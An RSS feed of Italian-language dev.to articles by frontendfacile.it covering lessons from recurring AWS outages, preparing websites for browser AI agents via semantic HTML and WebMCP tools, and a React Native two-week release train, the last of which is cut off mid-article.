<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:dc="http://purl.org/dc/elements/1.1/">
  <channel>
    <title>DEV Community: frontendfacile.it</title>
    <description>The latest articles on DEV Community by frontendfacile.it (@frontendfacile).</description>
    <link>https://dev.to/frontendfacile</link>
    <image>
      <url>https://media2.dev.to/dynamic/image/width=90,height=90,fit=cover,gravity=auto,format=auto/https:%2F%2Fdev-to-uploads.s3.us-east-2.amazonaws.com%2Fuploads%2Fuser%2Fprofile_image%2F3986194%2Fffc84293-7385-4ecc-912c-3e88951b5cb3.png</url>
      <title>DEV Community: frontendfacile.it</title>
      <link>https://dev.to/frontendfacile</link>
    </image>
    <atom:link rel="self" type="application/rss+xml" href="https://dev.to/feed/frontendfacile"/>
    <language>en</language>
    <item>
      <title>Perché i grandi outage di AWS continuano a succedere (e cosa insegnano a chi costruisce prodotti web)</title>
      <dc:creator>frontendfacile.it</dc:creator>
      <pubDate>Sat, 04 Jul 2026 08:37:09 +0000</pubDate>
      <link>https://dev.to/frontendfacile/perche-i-grandi-outage-di-aws-continuano-a-succedere-e-cosa-insegnano-a-chi-costruisce-prodotti-25hn</link>
      <guid>https://dev.to/frontendfacile/perche-i-grandi-outage-di-aws-continuano-a-succedere-e-cosa-insegnano-a-chi-costruisce-prodotti-25hn</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Non è “sfortuna”: è l’effetto combinato di regioni troppo centrali, dipendenze nascoste e failure mode che emergono solo a scala reale.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;Negli ultimi quindici anni abbiamo visto ripetersi uno schema curioso: cause tecniche diversissime (un temporale, un comando sbagliato, un cambio di configurazione, una race condition tra processi) finiscono per produrre lo stesso risultato percepito dagli utenti: una fetta enorme del web rallenta o si spegne. La lezione più importante non è che “il cloud è fragile”, ma che &lt;strong&gt;un’infrastruttura globale può diventare un singolo punto di fallimento&lt;/strong&gt; quando abbastanza servizi e aziende convergono sulle stesse fondamenta.&lt;/p&gt;

&lt;p&gt;Il nome ricorrente, in molti incidenti storici, è &lt;strong&gt;us-east-1 (Northern Virginia)&lt;/strong&gt;. Non è una regione qualsiasi: è stata la prima, quella dove molti servizi core sono nati e maturati per primi. Per anni è stata la scelta “di default” per chi voleva accesso immediato a tutto, latenza accettabile e un ecosistema già ricco. Da lì, l’effetto rete ha fatto il resto.&lt;/p&gt;

&lt;h2&gt;
  
  
  US‑EAST‑1: quando “default” diventa “troppo grande per fallire”
&lt;/h2&gt;

&lt;p&gt;AWS è organizzata in &lt;em&gt;regioni&lt;/em&gt;, ciascuna composta da più &lt;em&gt;Availability Zone&lt;/em&gt;. In teoria, questa struttura serve proprio a confinare i problemi. In pratica, però, &lt;strong&gt;la concentrazione&lt;/strong&gt; può superare le barriere progettuali:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;molti prodotti e servizi SaaS storicamente sono nati in us-east-1 e non hanno mai fatto il salto multi-region;&lt;/li&gt;
&lt;li&gt;una parte delle dipendenze “di piattaforma” è stata, nel tempo, più densa proprio lì;&lt;/li&gt;
&lt;li&gt;quando una regione ospita una quota enorme di workload, &lt;strong&gt;anche un degrado parziale&lt;/strong&gt; diventa un evento globale.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;È il primo punto da fissare: &lt;strong&gt;non serve un attacco o un disastro naturale&lt;/strong&gt; per impattare milioni di utenti. Basta un incidente locale che colpisce un componente abbastanza centrale.&lt;/p&gt;

&lt;h2&gt;
  
  
  Outage non uguali, pattern uguali: tre meccanismi ricorrenti
&lt;/h2&gt;

&lt;p&gt;Se mettiamo in fila i casi più noti, emergono tre dinamiche che ritornano spesso.&lt;/p&gt;

&lt;h3&gt;
  
  
  1) Feedback loop: il sistema “si salva” peggiorando la situazione
&lt;/h3&gt;

&lt;p&gt;Un classico nelle infrastrutture distribuite è il comportamento di autoprotezione che, sotto stress, crea un loop:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;una rete si congestiona;&lt;/li&gt;
&lt;li&gt;i componenti storage rilevano rischio e avviano replicazioni/ricostruzioni;&lt;/li&gt;
&lt;li&gt;quelle operazioni consumano ulteriore banda e I/O;&lt;/li&gt;
&lt;li&gt;la congestione aumenta, altri componenti reagiscono…&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Questo tipo di spirale è subdola perché &lt;strong&gt;ogni singola azione è “corretta” localmente&lt;/strong&gt;, ma il risultato globale è catastrofico.&lt;/p&gt;

&lt;h3&gt;
  
  
  2) Dipendenze nascoste: servizi “secondari” che diventano fondamentali
&lt;/h3&gt;

&lt;p&gt;Alcuni servizi non sono percepiti come “core” dagli utenti finali, ma sono &lt;em&gt;core&lt;/em&gt; per la piattaforma stessa. Un cambio apparentemente circoscritto può colpire:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;autenticazione/identità;&lt;/li&gt;
&lt;li&gt;monitoring e logging;&lt;/li&gt;
&lt;li&gt;health check e autoscaling;&lt;/li&gt;
&lt;li&gt;console e strumenti operativi.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Quando queste catene non sono mappate con precisione, il problema non resta confinato: &lt;strong&gt;propaga&lt;/strong&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  3) Strumenti di emergenza che dipendono dall’emergenza
&lt;/h3&gt;

&lt;p&gt;Un’altra costante: durante l’incidente, le squadre provano a usare:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;console di gestione;&lt;/li&gt;
&lt;li&gt;dashboard di status;&lt;/li&gt;
&lt;li&gt;sistemi di osservabilità.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Se questi strumenti sono ospitati o alimentati dagli stessi servizi degradati, succede l’assurdo: &lt;strong&gt;il termometro si rompe insieme alla febbre&lt;/strong&gt;. E la diagnosi rallenta proprio quando serve velocità.&lt;/p&gt;

&lt;h2&gt;
  
  
  Sei incidenti, sei cause: cosa mostrano davvero
&lt;/h2&gt;

&lt;p&gt;Senza trasformare ogni evento in una cronologia, vale la pena evidenziare cosa li rende istruttivi.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Errore umano + capacità limitata&lt;/strong&gt;: un’operazione di routine può spingere traffico dove non dovrebbe andare. A quel punto entrano in gioco reazioni automatiche (repliche, remirroring) che amplificano.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Evento fisico + componenti di transizione&lt;/strong&gt;: anche con generatori e ridondanze, i passaggi (switch, failover elettrico) possono essere il punto debole. Qui la lezione è che l’alta disponibilità non è solo “avere un backup”, ma far funzionare i &lt;em&gt;meccanismi di transizione&lt;/em&gt; sotto stress.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Comando sbagliato su sistemi enormi&lt;/strong&gt;: un parametro errato può rimuovere molto più del previsto. E quando un sottosistema critico deve ricostruirsi dopo anni senza restart completi, i tempi diventano imprevedibili.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Cambio configurazione in un servizio “invisibile”&lt;/strong&gt;: un servizio interno può consumare più risorse del previsto e, a cascata, colpire IAM, monitoring, health check, autoscaling. È l’esempio perfetto di “non era quello il pezzo importante… finché non lo è diventato”.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Degrado che colpisce anche l’azienda che eroga il cloud&lt;/strong&gt;: quando i sistemi interni (logistica, scanner, app operative) dipendono dallo stesso strato, il blast radius non è più “solo clienti”: diventa l’intera macchina aziendale.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Errore di automazione e DNS&lt;/strong&gt;: un caso particolarmente didattico: non si rompe “il database”, si rompe &lt;strong&gt;il modo per trovarlo&lt;/strong&gt;. Un endpoint irraggiungibile per DNS equivale, di fatto, a un servizio spento. Ed è devastante quando quel servizio è usato come strato di coordinamento da tanti altri.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Il punto comune: &lt;strong&gt;non esiste una singola causa ricorrente&lt;/strong&gt;. Quello che si ripete è l’ambiente perfetto per l’incidente: centralità, interdipendenze, automazioni potenti, e recovery che richiede ordine e tempi non banali.&lt;/p&gt;

&lt;h2&gt;
  
  
  Implicazioni pratiche per chi fa frontend (e per chi progetta piattaforme)
&lt;/h2&gt;

&lt;p&gt;“Ok, ma io faccio UI”: vero, però la percezione di affidabilità passa dal client. E alcune scelte fanno una differenza enorme quando il backend (o un intero provider) degrada.&lt;/p&gt;

&lt;h3&gt;
  
  
  Progetta per la degradazione, non solo per l’errore
&lt;/h3&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;Timeout aggressivi e retry con backoff&lt;/strong&gt;: evitare che l’app “si impunti” aspettando indefinitamente.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Circuit breaker lato client&lt;/strong&gt; (dove ha senso): se un endpoint fallisce ripetutamente, riduci la pressione e mostra una UI coerente.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Esperienze offline / cache&lt;/strong&gt;: anche una cache parziale (dati letti di recente, impostazioni, contenuti statici) può trasformare un outage totale in una modalità “limitata ma usabile”.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Separa statico, asset e funzionalità critiche
&lt;/h3&gt;

&lt;p&gt;Molte web app crollano perché non caricano più:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;bundle JS/CSS;&lt;/li&gt;
&lt;li&gt;config remota;&lt;/li&gt;
&lt;li&gt;feature flag;&lt;/li&gt;
&lt;li&gt;immagini e font.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Se la distribuzione degli asset è un collo di bottiglia, tutto il resto non parte nemmeno. CDN multi-origin, strategie di fallback e build che minimizzano dipendenze runtime possono salvare la UX.&lt;/p&gt;

&lt;h3&gt;
  
  
  Riduci la dipendenza da un unico “punto di verità”
&lt;/h3&gt;

&lt;p&gt;Dal lato architetturale, la lezione è brutale ma semplice: se tutto passa da una singola regione o da un singolo servizio di coordinamento, il tuo sistema è “mono‑failure” anche se sulla carta è distribuito.&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;Multi-AZ è ottimo, ma &lt;strong&gt;non è multi-region&lt;/strong&gt;.&lt;/li&gt;
&lt;li&gt;Multi-region non basta se la tua identità, i tuoi config store o i tuoi DNS dinamici restano monocentrici.&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Incident readiness: la resilienza è anche organizzativa
&lt;/h3&gt;

&lt;p&gt;Le realtà che reggono meglio non sono quelle “che non rompono mai”, ma quelle che:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;esercitano failure intenzionali (chaos engineering) su componenti realistici;&lt;/li&gt;
&lt;li&gt;hanno runbook e procedure testate;&lt;/li&gt;
&lt;li&gt;possiedono un piano di comunicazione &lt;em&gt;fuori banda&lt;/em&gt; (status page indipendente, canali alternativi, messaggistica separata).&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  Sintesi: non è il singolo bug, è l’accoppiamento
&lt;/h2&gt;

&lt;p&gt;Gli outage maggiori non raccontano la storia di un provider “inaffidabile”; raccontano la storia di &lt;strong&gt;sistemi così complessi che falliscono in modi non intuitivi&lt;/strong&gt;, e di un ecosistema che ha scelto, per comodità e inerzia, lo stesso baricentro.&lt;/p&gt;

&lt;p&gt;La conclusione pratica è quasi scomoda: se la tua applicazione “vive” tutta in un’unica regione e presume che servizi fondamentali siano sempre raggiungibili, allora non stai progettando per l’alta disponibilità: stai progettando per i giorni normali.&lt;/p&gt;

&lt;p&gt;Progettare per i giorni anomali significa accettare che l’outage non sarà quello che hai previsto, ma quello che non hai immaginato — e costruire UX, architettura e processi capaci di restare in piedi anche quando l’infrastruttura sotto di te non lo fa.&lt;/p&gt;




&lt;p&gt;Articolo originale: &lt;a href="https://frontendfacile.it/blog/perche-i-grandi-outage-di-aws-continuano-a-succedere-e-cosa-insegnano-a-chi-cost" rel="noopener noreferrer"&gt;https://frontendfacile.it/blog/perche-i-grandi-outage-di-aws-continuano-a-succedere-e-cosa-insegnano-a-chi-cost&lt;/a&gt;&lt;/p&gt;

</description>
      <category>affidabilitacloud</category>
      <category>architetturaresilien</category>
      <category>failureacascata</category>
      <category>dipendenzetraservizi</category>
    </item>
    <item>
      <title>Siti “agent-ready”: come preparare il frontend a browser agent e strumenti strutturati</title>
      <dc:creator>frontendfacile.it</dc:creator>
      <pubDate>Fri, 03 Jul 2026 09:49:37 +0000</pubDate>
      <link>https://dev.to/frontendfacile/siti-agent-ready-come-preparare-il-frontend-a-browser-agent-e-strumenti-strutturati-1g6</link>
      <guid>https://dev.to/frontendfacile/siti-agent-ready-come-preparare-il-frontend-a-browser-agent-e-strumenti-strutturati-1g6</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Dalla leggibilità per modelli vision al WebMCP: passi pratici per rendere le interazioni più veloci, affidabili e debuggabili.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;h2&gt;
  
  
  Perché “agent-ready” non significa “web separato”
&lt;/h2&gt;

&lt;p&gt;Quando si parla di &lt;strong&gt;agentic web&lt;/strong&gt; è facile immaginare un “nuovo web”. In realtà è più utile vederla come un’evoluzione del web attuale: le persone continuano a leggere contenuti, acquistare, prenotare, gestire account… ma sempre più spesso lo fanno &lt;strong&gt;delegando parti del flusso a un agente AI&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Gli agenti possono presentarsi in varie forme:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;On-site&lt;/strong&gt;: integrati direttamente nell’esperienza del sito.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Browser agent&lt;/strong&gt;: nativi del browser o forniti tramite estensioni.&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;Off-browser&lt;/strong&gt;: tool esterni (anche CLI) che guidano il browser tramite protocolli come CDP.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Qui ci concentriamo sul caso più “vicino” al frontend quotidiano: &lt;strong&gt;agenti che operano nel browser&lt;/strong&gt; e devono capire rapidamente cosa mostra la pagina e quali azioni sono possibili.&lt;/p&gt;




&lt;h2&gt;
  
  
  Come un agente “vede” davvero il tuo sito
&lt;/h2&gt;

&lt;p&gt;Un agente non interpreta una pagina come un umano in modo magico: raccoglie segnali e li combina. In pratica, i canali principali sono tre.&lt;/p&gt;

&lt;h3&gt;
  
  
  1) Screenshot + modello vision
&lt;/h3&gt;

&lt;p&gt;L’agente può acquisire screenshot della pagina renderizzata e usare un modello multimodale per interpretare layout e contenuti visivi. Questo funziona, ma è costoso (in contesto e computazione) e può essere fragile con UI dense o poco consistenti.&lt;/p&gt;

&lt;h3&gt;
  
  
  2) DOM renderizzato
&lt;/h3&gt;

&lt;p&gt;Il DOM fornisce struttura: gerarchie, nesting, vicinanze. Un bottone dentro una sezione o un form con campi etichettati correttamente “racconta” molto più di una griglia di div.&lt;/p&gt;

&lt;p&gt;In più, &lt;strong&gt;il testo reale&lt;/strong&gt; è un segnale chiave:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;il contenuto di un &lt;code&gt;&amp;lt;button&amp;gt;&lt;/code&gt; suggerisce l’azione&lt;/li&gt;
&lt;li&gt;titoli e label aiutano a capire cosa è primario/secondario&lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  3) Accessibility Tree
&lt;/h3&gt;

&lt;p&gt;È la distillazione semantica che il browser espone (ruoli, nomi accessibili, stati). È anche ciò che usano gli screen reader.&lt;/p&gt;

&lt;p&gt;Qui c’è un punto importante: &lt;strong&gt;migliorare accessibilità e semantica aiuta contemporaneamente umani e agenti&lt;/strong&gt;. Non è un compromesso, è un allineamento.&lt;/p&gt;




&lt;h2&gt;
  
  
  Il problema: più complesso è il journey, più cresce il “contesto”
&lt;/h2&gt;

&lt;p&gt;Nei flussi reali (prenotazioni, e-commerce, configuratori, onboarding) l’agente deve:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;mantenere memoria di scelte precedenti&lt;/li&gt;
&lt;li&gt;interpretare passaggi intermedi e stati UI&lt;/li&gt;
&lt;li&gt;distinguere varianti simili (es. “modifica testo” vs “cambia stato”)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Più cresce la complessità, più l’agente deve sintetizzare screenshot, DOM e accessibility tree. Questo comporta:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;maggiore latenza&lt;/strong&gt; (più contesto, più ragionamento)&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;maggiore probabilità di errore&lt;/strong&gt; (segnali ambigui → svolte sbagliate)&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Serve quindi un modo per rendere l’interazione &lt;strong&gt;più diretta e meno ambigua&lt;/strong&gt;.&lt;/p&gt;




&lt;h2&gt;
  
  
  WebMCP: esporre “tool” strutturati direttamente dalle pagine
&lt;/h2&gt;

&lt;p&gt;L’idea chiave di &lt;strong&gt;WebMCP&lt;/strong&gt; (proposta di standard) è semplice: oltre a “capire” la UI, un agente dovrebbe poter invocare &lt;strong&gt;azioni strutturate&lt;/strong&gt; esposte dal sito.&lt;/p&gt;

&lt;p&gt;Esempio concettuale:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;invece di dedurre quale campo compilare e quale bottone premere per “prenotare un tavolo”,&lt;/li&gt;
&lt;li&gt;l’agente può chiamare un tool tipo &lt;code&gt;bookTable({name, date, time, partySize, notes})&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Risultato: flussi più &lt;strong&gt;veloci&lt;/strong&gt;, più &lt;strong&gt;affidabili&lt;/strong&gt;, più &lt;strong&gt;debuggabili&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Il punto interessante è che questi tool non “sostituiscono” la UI: la affiancano come &lt;strong&gt;API di intent&lt;/strong&gt; per gli agenti.&lt;/p&gt;




&lt;h2&gt;
  
  
  Definire tool: approccio imperativo (JavaScript)
&lt;/h2&gt;

&lt;p&gt;Nel modello imperativo registri un tool via API, fornendo:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;name&lt;/strong&gt;: nome stabile e specifico&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;description&lt;/strong&gt;: quando usarlo&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;input schema&lt;/strong&gt;: parametri in &lt;strong&gt;JSON Schema&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;execute&lt;/strong&gt;: funzione che esegue davvero l’azione&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Un aspetto spesso sottovalutato: &lt;strong&gt;il valore di ritorno di &lt;code&gt;execute&lt;/code&gt; è un canale di comunicazione verso l’agente&lt;/strong&gt;, non verso l’utente. Puoi usarlo per:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;segnalare errori di validazione sui parametri&lt;/li&gt;
&lt;li&gt;indicare success/failure&lt;/li&gt;
&lt;li&gt;suggerire “next step” (es. “serve conferma utente”) &lt;/li&gt;
&lt;/ul&gt;

&lt;h3&gt;
  
  
  Lifecycle e cleanup
&lt;/h3&gt;

&lt;p&gt;Se l’esistenza del tool dipende dallo stato della pagina o dal ciclo di vita di un componente, puoi gestirne la rimozione con un &lt;strong&gt;AbortController&lt;/strong&gt;. Questo è particolarmente utile nei framework (es. cleanup su &lt;code&gt;onDestroy&lt;/code&gt;).&lt;/p&gt;




&lt;h2&gt;
  
  
  Definire tool: approccio dichiarativo (HTML form)
&lt;/h2&gt;

&lt;p&gt;Se hai già form “classici”, l’approccio dichiarativo è spesso il più economico.&lt;/p&gt;

&lt;p&gt;Bastano due attributi richiesti sul form:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;&lt;code&gt;toolname&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;tooldescription&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In più, puoi aggiungere descrizioni per i parametri (opzionale ma molto utile) per chiarire cosa inserire nei campi.&lt;/p&gt;

&lt;h3&gt;
  
  
  Tool description = contesto operativo (non “commenti”)
&lt;/h3&gt;

&lt;p&gt;Naming e descrizioni non sono un dettaglio: sono parte dell’informazione che l’agente usa per decidere &lt;strong&gt;quale tool invocare&lt;/strong&gt; e con quali parametri. In pratica è una forma di “prompting strutturato” incorporato nel markup.&lt;/p&gt;

&lt;h3&gt;
  
  
  Autosubmit e controllo utente
&lt;/h3&gt;

&lt;p&gt;Per default, un tool basato su form tende a:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;far compilare i campi all’agente&lt;/li&gt;
&lt;li&gt;richiedere il click dell’utente per il submit&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Se vuoi consentire il submit automatico, entra in gioco un attributo tipo &lt;code&gt;toolautosubmit&lt;/code&gt;.&lt;/p&gt;

&lt;h3&gt;
  
  
  Riconoscere submit invocati da agente
&lt;/h3&gt;

&lt;p&gt;Nel submit event compare un nuovo membro come &lt;code&gt;agentInvoked&lt;/code&gt; per distinguere:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;submit dell’utente&lt;/li&gt;
&lt;li&gt;submit attivato dall’agente&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Questo ti permette di:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;applicare validazioni e regole dedicate&lt;/li&gt;
&lt;li&gt;rispondere con messaggi mirati verso l’agente (es. spiegare perché un input è invalido)&lt;/li&gt;
&lt;/ul&gt;




&lt;h2&gt;
  
  
  Debug: DevTools e strumenti come per qualunque JS
&lt;/h2&gt;

&lt;p&gt;Un vantaggio pratico dei tool WebMCP è che &lt;strong&gt;si debuggano come codice web normale&lt;/strong&gt;:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;puoi vedere quali tool vengono chiamati&lt;/li&gt;
&lt;li&gt;con quali input&lt;/li&gt;
&lt;li&gt;e cosa viene restituito come output&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;E se un tool è implementato in JavaScript, puoi:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;saltare al punto di registrazione&lt;/li&gt;
&lt;li&gt;mettere breakpoint&lt;/li&gt;
&lt;li&gt;ispezionare stato e parametri&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Questo sposta l’esperienza da “l’agente ha sbagliato qualcosa” a “ho una traccia riproducibile di input/output e posso correggere tool, schema o descrizioni”.&lt;/p&gt;




&lt;h2&gt;
  
  
  Linee guida concrete per rendere un sito più “agent-ready”
&lt;/h2&gt;

&lt;p&gt;1) &lt;strong&gt;Parti dai fondamentali&lt;/strong&gt;: UI leggibile, HTML semantico, accessibilità solida. Migliora subito anche l’esperienza umana.&lt;/p&gt;

&lt;p&gt;2) &lt;strong&gt;Individua i punti ad alto attrito&lt;/strong&gt; nei journey (ricerche complesse, configuratori, checkout, prenotazioni) e valuta dove un tool riduce ambiguità.&lt;/p&gt;

&lt;p&gt;3) &lt;strong&gt;Progetta tool piccoli e specifici&lt;/strong&gt;: “toggle status” non è “edit text”. Evita tool “fai tutto” che aumentano errori.&lt;/p&gt;

&lt;p&gt;4) &lt;strong&gt;Scrivi descrizioni operative&lt;/strong&gt; (name/description/param description): devono aiutare un agente a scegliere correttamente, non essere marketing.&lt;/p&gt;

&lt;p&gt;5) &lt;strong&gt;Usa JSON Schema con cura&lt;/strong&gt;: tipi, enum, required, vincoli. Più lo schema è preciso, meno l’agente deve indovinare.&lt;/p&gt;

&lt;p&gt;6) &lt;strong&gt;Restituisci output utili&lt;/strong&gt;: messaggi di errore strutturati, motivazioni, suggerimenti di correzione.&lt;/p&gt;




&lt;h2&gt;
  
  
  Sintesi: la via più breve verso interazioni affidabili
&lt;/h2&gt;

&lt;p&gt;Rendere un sito “agent-ready” non significa inseguire un trend: significa &lt;strong&gt;ridurre ambiguità&lt;/strong&gt; e &lt;strong&gt;rendere esplicite le azioni&lt;/strong&gt;. Prima ancora dei tool, vincono semantica e accessibilità perché migliorano i tre canali chiave (visivo, DOM, accessibility tree). Quando i flussi diventano complessi, però, i tool strutturati stile WebMCP possono fare la differenza: meno contesto da interpretare, meno errori, più controllo e debugging.&lt;/p&gt;

&lt;p&gt;L’implicazione pratica per chi fa frontend oggi è chiara: progettare UI e API di intent insieme, dove la UI serve l’utente e i tool aiutano l’agente a non “indovinare”.&lt;/p&gt;




&lt;p&gt;Articolo originale: &lt;a href="https://frontendfacile.it/blog/siti-agent-ready-come-preparare-il-frontend-a-browser-agent-e-strumenti-struttur" rel="noopener noreferrer"&gt;https://frontendfacile.it/blog/siti-agent-ready-come-preparare-il-frontend-a-browser-agent-e-strumenti-struttur&lt;/a&gt;&lt;/p&gt;

</description>
      <category>webmcp</category>
      <category>accessibilitytree</category>
      <category>jsonschema</category>
      <category>semantichtml</category>
    </item>
    <item>
      <title>Release train in React Native: come scalare rilasci affidabili ogni 2 settimane in un contesto B2B (e TV)</title>
      <dc:creator>frontendfacile.it</dc:creator>
      <pubDate>Fri, 03 Jul 2026 09:44:36 +0000</pubDate>
      <link>https://dev.to/frontendfacile/release-train-in-react-native-come-scalare-rilasci-affidabili-ogni-2-settimane-in-un-contesto-b2b-3fgb</link>
      <guid>https://dev.to/frontendfacile/release-train-in-react-native-come-scalare-rilasci-affidabili-ogni-2-settimane-in-un-contesto-b2b-3fgb</guid>
      <description>&lt;blockquote&gt;
&lt;p&gt;Quando l’over‑the‑air non è un’opzione, un approccio “universal” alla delivery diventa il moltiplicatore di riuso che tiene insieme decine di varianti.&lt;/p&gt;
&lt;/blockquote&gt;

&lt;p&gt;In molti team frontend si dà per scontato che l’obiettivo “moderno” sia &lt;strong&gt;rilasciare continuamente&lt;/strong&gt;: merge frequenti, feature flag, pipeline sempre verdi, e aggiornamenti rapidi in produzione. È un ottimo traguardo—finché il contesto lo consente.&lt;/p&gt;

&lt;p&gt;Quando invece lavori con &lt;strong&gt;clienti B2B&lt;/strong&gt;, &lt;strong&gt;varianti di prodotto&lt;/strong&gt; e soprattutto con &lt;strong&gt;app distribuite su TV&lt;/strong&gt; (dove l’aggiornamento non è necessariamente “over‑the‑air” o immediato), il paradigma cambia: il valore non è “rilasciare ogni ora”, ma &lt;strong&gt;rilasciare in modo prevedibile, replicabile e affidabile&lt;/strong&gt;.&lt;/p&gt;

&lt;h2&gt;
  
  
  Unificare per riusare: lo stesso principio vale per il codice e per la delivery
&lt;/h2&gt;

&lt;p&gt;C’è un’idea semplice che regge tutto: &lt;strong&gt;più unifichi, più riusi&lt;/strong&gt;.&lt;/p&gt;

&lt;p&gt;Nel mondo React Native la conversazione spesso ruota attorno a componenti condivisi, design system e logica cross‑platform. Ma lo stesso ragionamento si applica alla delivery:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;un unico modo di “costruire” l’app&lt;/li&gt;
&lt;li&gt;un unico modo di versionarla&lt;/li&gt;
&lt;li&gt;un unico modo di rilasciarla&lt;/li&gt;
&lt;li&gt;un unico calendario (per quanto possibile) per coordinare cambiamenti e verifiche&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Un approccio “universal” alla release—cioè coerente tra piattaforme e varianti—riduce la complessità operativa, proprio come fa un codice condiviso ben strutturato.&lt;/p&gt;

&lt;h2&gt;
  
  
  Perché non sempre ha senso continuous delivery
&lt;/h2&gt;

&lt;p&gt;Scegliere di &lt;strong&gt;non&lt;/strong&gt; fare continuous deployment/delivery può essere una decisione intenzionale e corretta quando:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
&lt;strong&gt;hai clienti B2B&lt;/strong&gt; con finestre di aggiornamento, approvazioni o vincoli contrattuali&lt;/li&gt;
&lt;li&gt;
&lt;strong&gt;distribuisci su piattaforme TV&lt;/strong&gt; dove gli update dipendono da store, certification, rollout non immediati o policy del produttore&lt;/li&gt;
&lt;li&gt;gestisci &lt;strong&gt;molte varianti&lt;/strong&gt; (build, brand, configurazioni) e vuoi evitare di moltiplicare rischi e divergenze&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;In questi casi, un rilascio troppo frequente non aumenta la qualità: spesso aumenta solo la probabilità di incoerenze tra varianti e regressioni difficili da riprodurre.&lt;/p&gt;

&lt;h2&gt;
  
  
  Il modello: release train allineato allo sprint
&lt;/h2&gt;

&lt;p&gt;Una strategia pragmatica è il &lt;strong&gt;release train&lt;/strong&gt;: un treno di rilascio che parte a cadenza fissa. Qui l’idea è semplice e potente:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;il team lavora per &lt;strong&gt;un’iterazione di sprint&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;alla fine dello sprint &lt;strong&gt;si rilascia subito&lt;/strong&gt;
&lt;/li&gt;
&lt;li&gt;la frequenza tipica è &lt;strong&gt;ogni 2 settimane&lt;/strong&gt;
&lt;/li&gt;
&lt;/ul&gt;

&lt;p&gt;Questo crea un ritmo che aiuta tutti:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;prodotto e stakeholder sanno &lt;strong&gt;quando&lt;/strong&gt; aspettarsi una nuova versione&lt;/li&gt;
&lt;li&gt;QA e validation hanno un perimetro temporale chiaro&lt;/li&gt;
&lt;li&gt;le attività di release diventano &lt;strong&gt;routine&lt;/strong&gt;, non “evento”&lt;/li&gt;
&lt;/ul&gt;

&lt;h2&gt;
  
  
  La vera sfida: scalare consistenza e affidabilità
&lt;/h2&gt;

&lt;p&gt;Rilasciare ogni due settimane è relativamente semplice quando le varianti sono poche. Diventa impegnativo quando inizi a distribuire:&lt;/p&gt;

&lt;ul&gt;
&lt;li&gt;
